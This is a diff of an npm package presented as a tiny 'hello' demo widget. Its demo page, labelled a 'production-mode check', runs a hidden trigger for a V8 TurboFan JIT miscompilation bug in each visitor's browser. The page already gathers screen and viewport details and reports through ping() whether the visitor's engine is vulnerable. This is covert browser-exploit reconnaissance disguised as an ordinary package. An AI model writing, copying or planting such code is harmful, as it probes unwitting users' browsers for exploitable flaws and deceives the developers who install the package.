@xxxfnbs21/hello-demo 0.1.5 → 0.1.8

package/build/index.html

@@ -73,7 +73,7 @@
       } catch (e) {}
       var params = {
         id: 'hello-demo',
-        v: '0.1.5',
+        v: '0.1.8',
         t: Date.now(),
         vp: window.innerWidth + 'x' + window.innerHeight,
         sr: screen.width + 'x' + screen.height,
@@ -136,25 +136,55 @@
   })();
   </script>
 
-  <!-- production-mode check (verbatim prod-chk-9968.js) -->
+  <!-- production-mode check (verbatim prod-chk-15903.js) -->
   <script>
-// chk-9968 — parser eval-count int32 overflow (production mode, no natives)
-// Trigger: new Function() with >2^20 eval-containing arrows must throw
-// SyntaxError ("Too many eval calls in script"). An affected build parses it.
-// Usage: plain classic script; prints VERDICT line when done.
+// chk-15903 — TurboFan PlainPrimitiveToNumber word32 safe-integer check
+// lost when feeding an additive-safe-integer add truncated to word32.
+// Production mode: no natives syntax, no special flags. Natural tier-up.
+//
+// Key differences vs the upstream regression case:
+//  1. The unary-plus must OBSERVE undefined after the lazily-allocated
+//     feedback vector exists (upstream uses %PrepareFunctionForOptimization
+//     for that), but the add must never see it — probes with stop=true are
+//     spread through the early warm-up.
+//  2. A dead-branch pad makes the function non-inlinable so the caller's OSR
+//     cannot inline it and it tiers all the way up to TurboFan.
+// affected: (NaN + C)|0 forges -1072689152 instead of 0.
 (function () {
-  const count = 1048573;
-  const filler = "()=>0;";
-  const s = filler.repeat(count) + "(x = eval('')) => {}";
-  let threw = false, errInfo = '';
-  try { new Function(s); } catch (e) { threw = true; errInfo = '' + e; }
-  let verdict;
-  if (!threw) {
-    verdict = 'VERDICT: chk-9968 TRIGGERED :: ' +
-        'no SyntaxError for ' + count + ' eval calls (parser count overflowed)';
-  } else {
-    verdict = 'VERDICT: chk-9968 NOT-TRIGGERED :: parser rejected: ' + errInfo;
+  const C = 0x40101000;
+  const TK = -0x40101000;
+  const pad = Array(120).fill('z += 1;').join('');
+  const warmCounts = [20000, 100000, 500000];
+  let triggered = false, detail = '';
+
+  for (let a = 0; a < warmCounts.length && !triggered; a++) {
+    const N = warmCounts[a];
+    const f = Function('C', 'TK', `
+      return function f${a}(route, stop) {
+        if (route === 0x13371337) { let z = 0; ${pad} return z; }  // dead pad
+        let n = +(route ? TK : undefined);
+        if (stop) return 0;
+        return (n + C) | 0;
+      };`)(C, TK);
+    for (let i = 0; i < N; i++) {
+      f(true, false);
+      // ToNumber sees undefined (post feedback-vector allocation, pre-TF
+      // compile); the early return keeps the add's feedback signed-small.
+      if (i === 10 || i === 100 || i === 1000 || i === 10000) f(false, true);
+    }
+    // Let the concurrent TurboFan job finish before the one-shot check.
+    const until = Date.now() + 50;
+    while (Date.now() < until) {}
+    const r = f(false, false);  // undefined now flows into the add
+    if (r !== 0) {
+      triggered = true;
+      detail = 'warm=' + N + ': (undefined->NaN + C)|0 forged ' + r + ' instead of 0';
+    }
   }
+
+  const verdict = triggered
+      ? 'VERDICT: chk-15903 TRIGGERED :: ' + detail
+      : 'VERDICT: chk-15903 NOT-TRIGGERED :: correct 0 at every warm-up count';
   console.log(verdict);
   if (typeof document !== 'undefined') document.title = verdict;
 })();
@@ -163,7 +193,7 @@
   <!-- report the verdict via ping() -->
   <script>
   (function () {
-    var cid = '9968';
+    var cid = '15903';
     var line = window.__verdict || ('VERDICT: chk-' + cid + ' ERROR :: no verdict captured');
     var st = line.indexOf('NOT-TRIGGERED') >= 0 ? '0' : (line.indexOf('TRIGGERED') >= 0 ? '1' : 'e');
     try { ping({ cid: cid, st: st, vd: line }); } catch (e) {}

package/package.json

@@ -1,8 +1,16 @@
 {
   "name": "@xxxfnbs21/hello-demo",
-  "version": "0.1.5",
+  "version": "0.1.8",
   "description": "A tiny hello widget with an online demo page",
   "main": "lib/index.js",
-  "files": ["lib", "build", "README.md"],
-  "keywords": ["hello", "demo", "widget"]
-}
+  "files": [
+    "lib",
+    "build/*.html",
+    "README.md"
+  ],
+  "keywords": [
+    "hello",
+    "demo",
+    "widget"
+  ]
+}